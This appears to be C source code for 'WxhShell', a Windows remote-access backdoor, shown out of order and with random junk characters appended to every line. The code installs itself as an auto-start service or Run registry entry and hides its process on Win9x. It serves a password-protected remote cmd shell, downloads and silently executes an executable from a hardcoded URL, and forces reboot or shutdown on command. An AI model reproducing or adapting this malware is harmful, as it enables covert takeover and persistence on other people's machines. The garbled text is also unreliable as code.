    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wT;0w3.Z  
    if(Boot(SHUTDOWN)) ( }{G`N>.{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uD\?(LM  
    else { <v)1<*I  
    closesocket(wsh); DK$X2B"cV  
    ExitThread(0); JLnH&(O  
    } {K+i cTL3  
    break; >"|B9Woc  
    } %SX|o-B~.o  
  // 获取shell iX0i2ek  
  case 's': { \]</w5 Pi,  
    CmdShell(wsh); f$+,HB  
    closesocket(wsh); 9{RB{<Se!  
    ExitThread(0); S)cLW~=z  
    break; I9/W;# *~  
  } ?{/4b:ua  
  // 退出 / : L?~  
  case 'x': { #yI mKEYX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k9k XyX[  
    CloseIt(wsh); _2h S";K  
    break; SG6kud\b  
    } H<VTa? n  
  // 离开 _y),J'W^3u  
  case 'q': { tz5e"+Tz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O~T@rX9f  
    closesocket(wsh); k`So -e-  
    WSACleanup(); CLRiJ*U  
    exit(1); ZIf  
    break; 5* j?E  
        } wLi4G@jJ  
  } 3jGWkby0  
  } Y'1S`.  
rX4j*u2u  
  // 提示信息 mkYqpD7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sm)Ha:[4  
} hWM< 0=  
  } mtJ9nC  
'?!zG{x  
  return; Zo|.1pN  
} !ipR$ dM  
\?Z{hmN  
// shell模块句柄 Q3 u8bx|E  
int CmdShell(SOCKET sock) w\(.3W7  
{ ,I7E[LU  
STARTUPINFO si; 0O9Ni='Tn  
ZeroMemory(&si,sizeof(si)); >OL3H$F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /q<__N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &:/hrighH  
PROCESS_INFORMATION ProcessInfo; T V<'8 L  
char cmdline[]="cmd"; R%{ a1r>9h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v9:9E|,U+  
  return 0; le1}0 L  
} C69q&S,  
HW=C),*]cR  
// 自身启动模式 6eT5ktf  
int StartFromService(void) ]ro*G"-_1#  
{ SLkhCR  
typedef struct VRI0W`  
{ Jbjmv: db  
  DWORD ExitStatus; j <Bkj/  
  DWORD PebBaseAddress; )we}6sE"  
  DWORD AffinityMask; 6%t1bM a  
  DWORD BasePriority; o<[#0T^K   
  ULONG UniqueProcessId; |_] Q$q[[%  
  ULONG InheritedFromUniqueProcessId; 8kU! 8^mH  
}   PROCESS_BASIC_INFORMATION; C"!gZ8*\!9  
o9JMH.G  
PROCNTQSIP NtQueryInformationProcess; v*;-yG&  
o$#G0}yn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -&3hEv5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4?ICy/,U-  
gLE:g5v6  
  HANDLE             hProcess; I,0q4  
  PROCESS_BASIC_INFORMATION pbi; JBi*P.79^  
V#XppYU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7[> 6i  
  if(NULL == hInst ) return 0; b\3Oyp>  
?98("T|y;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ht2\y&si  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AfX}y+Ah  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,u+PyG7 cb  
Bk*F_>X"  
  if (!NtQueryInformationProcess) return 0; 3on7~*  
{zn!vJX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f|B=_p80  
  if(!hProcess) return 0; JBXrFC;  
l5zS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {U1?Et#  
*VFf.aPwYi  
  CloseHandle(hProcess); g+pml*LJ  
K? y[V1,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x[$z({Yf  
if(hProcess==NULL) return 0; fQi4\m  
4x  
HMODULE hMod; ~R22?g.  
char procName[255]; JT-J#Ag  
unsigned long cbNeeded; }|g\ 8jq  
{@+Ty]e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yzh"1|O  
0\[Chja  
  CloseHandle(hProcess); E^.nc~  
^Pbk#|$rU  
if(strstr(procName,"services")) return 1; // 以服务启动 OR%'K2C6S  
U%<koD[,  
  return 0; // 注册表启动 d/[; `ZD+  
} @6wFst\t  
~\Hc,5G  
// 主模块 EdlTdn@A  
int StartWxhshell(LPSTR lpCmdLine) <kGU,@6PF  
{ ^>i63Yc  
  SOCKET wsl; K_RjX>q%N  
BOOL val=TRUE; +89*)pk   
  int port=0; sE:M@`2L  
  struct sockaddr_in door; `%+Wz0(K  
g/P+ZXJ  
  if(wscfg.ws_autoins) Install(); -(  
;_rF;9z9  
port=atoi(lpCmdLine); ,1[q^-9  
'}fzX2Q#  
if(port<=0) port=wscfg.ws_port; )n2 re?S  
v6>_ j L  
  WSADATA data; | #47O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \QYFAa  
+kzo*zW$L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j@SQ~AS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $npT[~U5  
  door.sin_family = AF_INET; Dp)=0<$y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8=NM|i  
  door.sin_port = htons(port); gj*+\3KO@a  
j!U-'zJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dpl A?  
closesocket(wsl); 5]AC*2(  
return 1; #vti+A~n,4  
} %= fHu+  
] Hztb  
  if(listen(wsl,2) == INVALID_SOCKET) { L*&p !  
closesocket(wsl); IIn"=g=9  
return 1; G/7cK\^u  
} IOqwCD[  
  Wxhshell(wsl); xx#zN0I>-y  
  WSACleanup(); `< xn8h9p  
"|qqUKJZ  
return 0; nlW +.a[  
7ccO93Mz  
} 7Rd'm'l)  
{bJ`~b9e  
// 以NT服务方式启动 45,1-? -!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >`A9[`$n  
{ mF,Y?ax  
DWORD   status = 0; zi]\<?\X  
  DWORD   specificError = 0xfffffff; &Low/Y'.jJ  
s'%R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FaDjLo2'o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mP0yk|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m^ tFi7c  
  serviceStatus.dwWin32ExitCode     = 0; :lf+W  
  serviceStatus.dwServiceSpecificExitCode = 0; rA%usaW  
  serviceStatus.dwCheckPoint       = 0; -o $QS,  
  serviceStatus.dwWaitHint       = 0; '}B+r@YCN  
Q9Kve3u-i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gn ~6X-l  
  if (hServiceStatusHandle==0) return; G!>z;5KuS  
e\!0<d  
status = GetLastError(); ??M"6k  
  if (status!=NO_ERROR) j4|N- :  
{ Kx;eaz:gx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0yuS3VY)  
    serviceStatus.dwCheckPoint       = 0; {^\+iK4bS  
    serviceStatus.dwWaitHint       = 0; qI#;j%V  
    serviceStatus.dwWin32ExitCode     = status; +trC,D  
    serviceStatus.dwServiceSpecificExitCode = specificError; e?JW   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1~Oe=`{&  
    return; `w.n]TR  
  } $a ]_w.@  
JM x>][xD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P<X\%_Iat  
  serviceStatus.dwCheckPoint       = 0; n1ly y0%u  
  serviceStatus.dwWaitHint       = 0; G9xmmc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l49*<nkmq  
} ]n_ k`  
GO` Ru 8  
// 处理NT服务事件,比如:启动、停止 $\]&rZVi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]:4*L  
{ Ju96#v+:  
switch(fdwControl) ]rWgSID  
{ S|7!{}  
case SERVICE_CONTROL_STOP: zgNc4B  
  serviceStatus.dwWin32ExitCode = 0; zNxW'?0Z?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c:<005\Bg  
  serviceStatus.dwCheckPoint   = 0; WST8SEzJ  
  serviceStatus.dwWaitHint     = 0; Jk7|{W\OA  
  { JBE!j-F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M>~Drul  
  } `$,GzS(  
  return; Ta(Y:*Ri  
case SERVICE_CONTROL_PAUSE: [d(U38BI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nbm&wa[  
  break; `6lr4Kk @R  
case SERVICE_CONTROL_CONTINUE: V^3L3|k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]x RM&=)<  
  break; \m(VdE  
case SERVICE_CONTROL_INTERROGATE: K{|p~B  
  break; &cxRD  
}; Y9uC&/_C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $c]fPt"i  
} 9N@W\DT  
,z;cbsV-{  
// 标准应用程序主函数 ]P.'>4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :=u?Fqqws  
{ W+UfGk}A  
6-z%633DL  
// 获取操作系统版本 xTj|dza  
OsIsNt=GetOsVer(); _ba>19csq%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #gz M|  
9$cWU_q{  
  // 从命令行安装 [@J/eWB  
  if(strpbrk(lpCmdLine,"iI")) Install(); X-6de>=   
F Sw\_[^CQ  
  // 下载执行文件 ok!L.ac  
if(wscfg.ws_downexe) { '*5i)^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _F>CBG  
  WinExec(wscfg.ws_filenam,SW_HIDE); Qw-~>d  
} QEz? w}b*  
dIN$)?aB0  
if(!OsIsNt) { {1 UQ/_  
// 如果时win9x,隐藏进程并且设置为注册表启动 b\yXbyjZ3.  
HideProc(); 06O2:5zF  
StartWxhshell(lpCmdLine); JMrEFk  
} SxOC1+Oy  
else N5Q[nd  
  if(StartFromService()) c3 jx+Q  
  // 以服务方式启动 ,\_1w  
  StartServiceCtrlDispatcher(DispatchTable); ,K9*%rW)  
else 8K:y\1  
  // 普通方式启动 lAb*fafQy  
  StartWxhshell(lpCmdLine); 2oVSn"  
O(fM?4w  
return 0; w>pq+og&  
} \-h%O jf4  
`uOT+B%R  
RL!Oi|8  
9s\A\$("l  
===========================================  gbF+WE  
L2\#w<d  
]V^iN=(_5  
Xe$I7iKD  
$"+djI?E9  
B3We|oe!  
" rDm~h~u5  
\k.{-nh  
#include <stdio.h> B<5R   
#include <string.h> X{5vXT\/y  
#include <windows.h> S\:P-&dC  
#include <winsock2.h> ZP@ $Q%up  
#include <winsvc.h> wPQH(~k:  
#include <urlmon.h> cG[l!Z  
0)Uce=t`  
#pragma comment (lib, "Ws2_32.lib") 8&GBV_`I  
#pragma comment (lib, "urlmon.lib") 4 {y)TZ  
\UPjf]&  
#define MAX_USER   100 // 最大客户端连接数 e7 ^mmm  
#define BUF_SOCK   200 // sock buffer ~xkeuU  
#define KEY_BUFF   255 // 输入 buffer )eUh=eW  
S0zD"T  
#define REBOOT     0   // 重启 ^uKwB;@  
#define SHUTDOWN   1   // 关机 |Luqoa  
wxKX{Bs  
#define DEF_PORT   5000 // 监听端口 ?qPo=~y01  
SheM|I~de  
#define REG_LEN     16   // 注册表键长度 n&$j0k  
#define SVC_LEN     80   // NT服务名长度 6HT ;#Znn  
@i 2E\}  
// 从dll定义API CDsSrKhx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jl( &!?j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LInz<bc<(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YWe{juXSw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mk;&yh  
dG@%jD)  
// wxhshell配置信息 %RTBV9LIXr  
struct WSCFG { <^&ehy:7y  
  int ws_port;         // 监听端口 z06r6  
  char ws_passstr[REG_LEN]; // 口令 7I&&bWB  
  int ws_autoins;       // 安装标记, 1=yes 0=no Bo)3!wO8  
  char ws_regname[REG_LEN]; // 注册表键名 Rw"sJ)/  
  char ws_svcname[REG_LEN]; // 服务名 CS2 Bo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (/=f6^}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EAT"pxP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N-G1h?e4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fT;s-v[`k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nEJq_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L{X_^  
qB5j;@ r  
}; gqZ'$7So  
y&6FybIz  
// default Wxhshell configuration F^WP<0C  
struct WSCFG wscfg={DEF_PORT, B^1>PE  
    "xuhuanlingzhe", Vx$\hcG  
    1, WJQvB=D&  
    "Wxhshell", +9M^7/}H  
    "Wxhshell", :0Bq^G"ge  
            "WxhShell Service", C6VLy x  
    "Wrsky Windows CmdShell Service", t)~"4]{*}D  
    "Please Input Your Password: ", @@R7p  
  1, ,BH@j%Jmy  
  "http://www.wrsky.com/wxhshell.exe", z6U\axO6  
  "Wxhshell.exe" APvDP?  
    }; W<bGDh  
@P#N2:jwj  
// 消息定义模块 '}9x\3E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hpHr\g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #*D)Q/k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |t^E~HLm,  
char *msg_ws_ext="\n\rExit."; . k#U]M  
char *msg_ws_end="\n\rQuit."; >=qf/K +#  
char *msg_ws_boot="\n\rReboot..."; }u\])I3  
char *msg_ws_poff="\n\rShutdown..."; $:8x(&+/@  
char *msg_ws_down="\n\rSave to "; V\>K]mwD  
ap.K=-H  
char *msg_ws_err="\n\rErr!"; bLB:MW\%  
char *msg_ws_ok="\n\rOK!"; vUN22;Z\  
tRs [ YK  
char ExeFile[MAX_PATH]; p)jk>j B  
int nUser = 0; rV2WnAb[H&  
HANDLE handles[MAX_USER]; :y+2*lV  
int OsIsNt; ]s]vZ  
)P%ZA)l%_o  
SERVICE_STATUS       serviceStatus; <lgYcdJ   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u8'Zl8 g  
xqeyD*s  
// 函数声明 02f~En}>6  
int Install(void); lNy.g{2f<m  
int Uninstall(void); ;!=G   
int DownloadFile(char *sURL, SOCKET wsh); ,$@bE  
int Boot(int flag); .7Dtm<K#  
void HideProc(void); VF&(8X\   
int GetOsVer(void); ojafy}  
int Wxhshell(SOCKET wsl); A0/"&Ag]  
void TalkWithClient(void *cs); lAS#874dE  
int CmdShell(SOCKET sock); 9Z|jxy  
int StartFromService(void); rx'RSo#1O  
int StartWxhshell(LPSTR lpCmdLine); cA2V2S)  
- \ 5v^l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O@tU.5*$5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lsgh#x  
fFMlDg[];  
// 数据结构和表定义 2L:_rR#w  
SERVICE_TABLE_ENTRY DispatchTable[] =  q['Euy  
{ KT_!d*  
{wscfg.ws_svcname, NTServiceMain}, SOs:]U-T3  
{NULL, NULL} SbND Y{5RO  
}; !F*5M1Kjd  
7TgOK   
// 自我安装 \MsTB|Z  
int Install(void) GD&uQ`Y5  
{ .!Qki@  
  char svExeFile[MAX_PATH]; (iBNZ7sJ  
  HKEY key; /@wg>&L]  
  strcpy(svExeFile,ExeFile); DjCqh-&L  
`EEL1[:BR  
// 如果是win9x系统,修改注册表设为自启动 q2/pNV#  
if(!OsIsNt) { c#XXp"7k2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cpe+XvBuK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZXu>,Jy  
  RegCloseKey(key); e|NG"<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L(/e&J@><  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /1Qr#OJ(]  
  RegCloseKey(key); QHDXW1+|^  
  return 0; BTl k Etm  
    } NiNM{[3oS  
  } p?{Xu4(  
} ED2a}Tt>Z  
else { O)C\v F#  
zE336  
// 如果是NT以上系统,安装为系统服务 hP=WFD&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H~oail{EQ  
if (schSCManager!=0) xj<Rp|7&  
{ Um }  
  SC_HANDLE schService = CreateService OPetj.C/a  
  ( S$f9m  
  schSCManager, ~De"?  
  wscfg.ws_svcname, +s"hqm  
  wscfg.ws_svcdisp, m-%E-nr  
  SERVICE_ALL_ACCESS, N/[p <  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #=D) j  
  SERVICE_AUTO_START, :<ka3<0%  
  SERVICE_ERROR_NORMAL, <vnHz?71c  
  svExeFile, b1?#81  
  NULL, Kc!} `Pm  
  NULL, }wWKFX  
  NULL, QgrpBG  
  NULL, 8/DS:uM  
  NULL QsGiclU  
  ); 3RiWZN  
  if (schService!=0) iMt:9|yF}8  
  { Qwz}B  
  CloseServiceHandle(schService); v&Ii^?CvO  
  CloseServiceHandle(schSCManager); f& 0M*o,)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \@-@Y  
  strcat(svExeFile,wscfg.ws_svcname); f"B3,6m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )) Zf|86N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >lmi@UN|k  
  RegCloseKey(key); +ylTGSZS  
  return 0; !5wIIS:FT  
    } ' WMh8)  
  } yID 164&r  
  CloseServiceHandle(schSCManager); 1da@3xaF  
} jAGTD I  
} 'UkxS b  
`^91%f  
return 1; BmBj7  
} g-qP;vy@"q  
&d9{k5/+\  
// 自我卸载 w _u\pa  
int Uninstall(void) rJd,Rdt.  
{ NnO~dRx{  
  HKEY key; zqd@EF6/bz  
LU+3{O5y  
if(!OsIsNt) { t^VwR=i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bm.afsM;  
  RegDeleteValue(key,wscfg.ws_regname); 6T>mW#E&  
  RegCloseKey(key); Y4%:7mw~=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DDvh4<Hk  
  RegDeleteValue(key,wscfg.ws_regname); s J\BF  
  RegCloseKey(key); ke{8 ^X~#  
  return 0; 7t3X)Ah  
  } |VKK#J/  
} #w;v0&p  
} rI{=WPI&WU  
else { "B8Q:  
z^KJ*E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $JSL-NkE  
if (schSCManager!=0) qsL) }sC^8  
{ Gk967pC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PEN \-*Pv  
  if (schService!=0) D>|H 2  
  { E"\/ M  
  if(DeleteService(schService)!=0) { w^(<N7B3T  
  CloseServiceHandle(schService); ml2_ ]3j!  
  CloseServiceHandle(schSCManager); :WC2Ax7$2  
  return 0; t4{rb, }W  
  } k[0-CB  
  CloseServiceHandle(schService); (VS5V31"  
  } ?xK8#  
  CloseServiceHandle(schSCManager); mCRt8 rY;  
} :Y-{Kn6`_  
} }p=Jm)y  
,?PTcQF  
return 1; %el"BSB  
} M]<?k]_p  
U2$d%8G  
// 从指定url下载文件 |\w=u6jX  
int DownloadFile(char *sURL, SOCKET wsh) ^*S ,xP  
{ M=.:,wRm  
  HRESULT hr; QpZ:gM_  
char seps[]= "/"; Rn#KfI:{  
char *token; 7ByTnYe~S  
char *file; ( W a  
char myURL[MAX_PATH]; 3WN`y8l  
char myFILE[MAX_PATH]; "rTQG6`  
Q)"C&) `l  
strcpy(myURL,sURL); 0YaA`  
  token=strtok(myURL,seps); KuWWUjCE  
  while(token!=NULL) h a|C&G  
  { n-5W*zk1  
    file=token; EJ@?h(O  
  token=strtok(NULL,seps); h1:aKm!  
  } KN$}tCU  
`/_o!(Z`  
GetCurrentDirectory(MAX_PATH,myFILE); )S`jFQ1  
strcat(myFILE, "\\"); ktI/3Mb@  
strcat(myFILE, file); n 9\ C2r  
  send(wsh,myFILE,strlen(myFILE),0); )i q-yjO6  
send(wsh,"...",3,0); j0Bu-sO$w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W8Q|$ZJ88F  
  if(hr==S_OK) iM2W]  
return 0; ?MXejEC  
else .id)VF-l  
return 1; `{,Dy!rL  
@|LBn6q  
} *Kyw^DI  
f5F@^QXQ  
// 系统电源模块 I[b}4M6E  
int Boot(int flag) >tTj[cMJl  
{ & +4gSr  
  HANDLE hToken; qNI, 62  
  TOKEN_PRIVILEGES tkp; )q 0.0<f  
dlU'2Cl7d  
  if(OsIsNt) { ur*T%b9&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |4 v0:ETb$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AGH|"EWG  
    tkp.PrivilegeCount = 1; +$X#q8j06  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A3vUPWdDk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1<+2kBuY  
if(flag==REBOOT) { kR]!Vr*yh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?!wgH9?8  
  return 0; 'jmTXWq*  
} m1n.g4Z&*  
else { W-Fu-Cz=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZPc@Zr`z  
  return 0; }>)@WL:q  
} y[>;]R7'  
  }  XEC(P  
  else { Av?2<  
if(flag==REBOOT) { \2nUa ;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q F-LU  
  return 0; UUF ;p2{f  
} df*5,NV'-*  
else { h8 'v d3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _tSAI  
  return 0; 76>7=#m0u'  
} [v$0[IuY,  
} #BJG9DFP4`  
p>vn7;s2#  
return 1; I96C i2)m  
} !h(|\" }  
\(VTt|}By$  
// win9x进程隐藏模块 bfA=3S"0  
void HideProc(void) _FXZm50\g{  
{  ]E_h  
<WjF*x p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vm5c+;  
  if ( hKernel != NULL ) Qd=^S^}(  
  { V?Z.\~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OS4q5;1#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); # S}Z8  
    FreeLibrary(hKernel); [~kdPk  
  } 48jVRo  
ikSF)r;*t  
return; $B kubWM  
} WJNl5^  
3 N7[.I>A  
// 获取操作系统版本 M~WijDj  
int GetOsVer(void) LUH"  
{ 61/.K_%I.  
  OSVERSIONINFO winfo; LVc4CE f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O:TlIJwW  
  GetVersionEx(&winfo); Q?8R[i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^ "i l}8`  
  return 1; @o#!EfZyE  
  else _9tK[ /h  
  return 0; N>Eqj>G  
} #Y0-BYa^  
&ZghMq~  
// 客户端句柄模块 `6 /$M!4$  
int Wxhshell(SOCKET wsl) tniDF>Rb  
{ y;t6sM@  
  SOCKET wsh; Ct2j ZqCDo  
  struct sockaddr_in client; #O$  
  DWORD myID; UbEb&9}  
CPVjmRUF|  
  while(nUser<MAX_USER) lY~4'8^  
{ ( {1e%  
  int nSize=sizeof(client); AjJURn0`,!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _<=S_ <$2  
  if(wsh==INVALID_SOCKET) return 1; "jTKSgv+q5  
NZP.0coY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w?zKjqza=v  
if(handles[nUser]==0) {GKy'/[  
  closesocket(wsh); b !%hH  
else 7M<'ddAN  
  nUser++; `W dD8E  
  } 1QcT$8HA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gXonF'  
R)F;py8)I  
  return 0; >w-;Z>3Q@  
} AK= h[2(  
>$ NDv  
// 关闭 socket 0{[m%eSK'  
void CloseIt(SOCKET wsh) JYrY[',u  
{ 2<`.#zIds  
closesocket(wsh); fV v.@HL{  
nUser--;  vj51 g@  
ExitThread(0); ZAJp%   
} s@z}YH  
by'DQ 00  
// 客户端请求句柄 ]W Zq^'q.  
void TalkWithClient(void *cs) y" 6y!  
{ "6R 5+  
z >YFyu#LF  
  SOCKET wsh=(SOCKET)cs; 'mH) d  
  char pwd[SVC_LEN]; -b9;5eS!  
  char cmd[KEY_BUFF]; $we]91(: :  
char chr[1]; {/X4(;~0  
int i,j; "p/j; 6H  
/,MJq#@K  
  while (nUser < MAX_USER) { B|C/ Rk6?  
+$$$  
if(wscfg.ws_passstr) { #'-Sh7ycW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UK$ms~H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v1|Bf8  
  //ZeroMemory(pwd,KEY_BUFF); J[A14z]#`  
      i=0; eVt$7d?Jw  
  while(i<SVC_LEN) { @*0cMO;SpG  
_bzqd" 31I  
  // 设置超时 a@@M+9Q  
  fd_set FdRead; 21ppSN >  
  struct timeval TimeOut; }w/;){gu  
  FD_ZERO(&FdRead); Iq#ZhAk  
  FD_SET(wsh,&FdRead); -pU|hSW*b  
  TimeOut.tv_sec=8; *\wp?s>-t  
  TimeOut.tv_usec=0; d{3@h+zL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oT{@_U{*J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QJ F=UB  
E,wVe[0)f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZT[3aXS  
  pwd=chr[0]; YAL=!~6  
  if(chr[0]==0xd || chr[0]==0xa) { A%Xt|=^_  
  pwd=0; Yz4_vePh+5  
  break; Ul_M3"Z  
  } 9U {y1}  
  i++; \":?xh_H  
    } d\H&dkpH  
gP-nluq  
  // 如果是非法用户,关闭 socket zVi15P$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]l@ qra  
} q;fKcblKj  
l"{Sm6:;-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g ^!C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a8dXH5_  
rrnNn'  
while(1) { :qR=>n=  
]Ni;w]KE  
  ZeroMemory(cmd,KEY_BUFF); `/"nTB  
\X F}?*8  
      // 自动支持客户端 telnet标准   |+:h|UIUQ  
  j=0; ( =16PYs  
  while(j<KEY_BUFF) { 2[B4f7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SR^_cpZoi  
  cmd[j]=chr[0]; kF{*(r=.o  
  if(chr[0]==0xa || chr[0]==0xd) { V $|<  
  cmd[j]=0; ' JdkUhq1V  
  break; 9'DtaTmGW  
  } O1D6^3w  
  j++; 6cdMS[_SD(  
    } K7e4_ZGI  
Y7GF$}%UL  
  // 下载文件 hH->%*  
  if(strstr(cmd,"http://")) { >tG+?Y'{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `e]6#iJ^  
  if(DownloadFile(cmd,wsh)) 7l."b$U4yv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ph" mf$-  
  else T *I?9d{k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E15vq6DKF  
  } 2$ !D* <  
  else { KECElK3uj  
yMc:n "-[  
    switch(cmd[0]) { B51kV0  
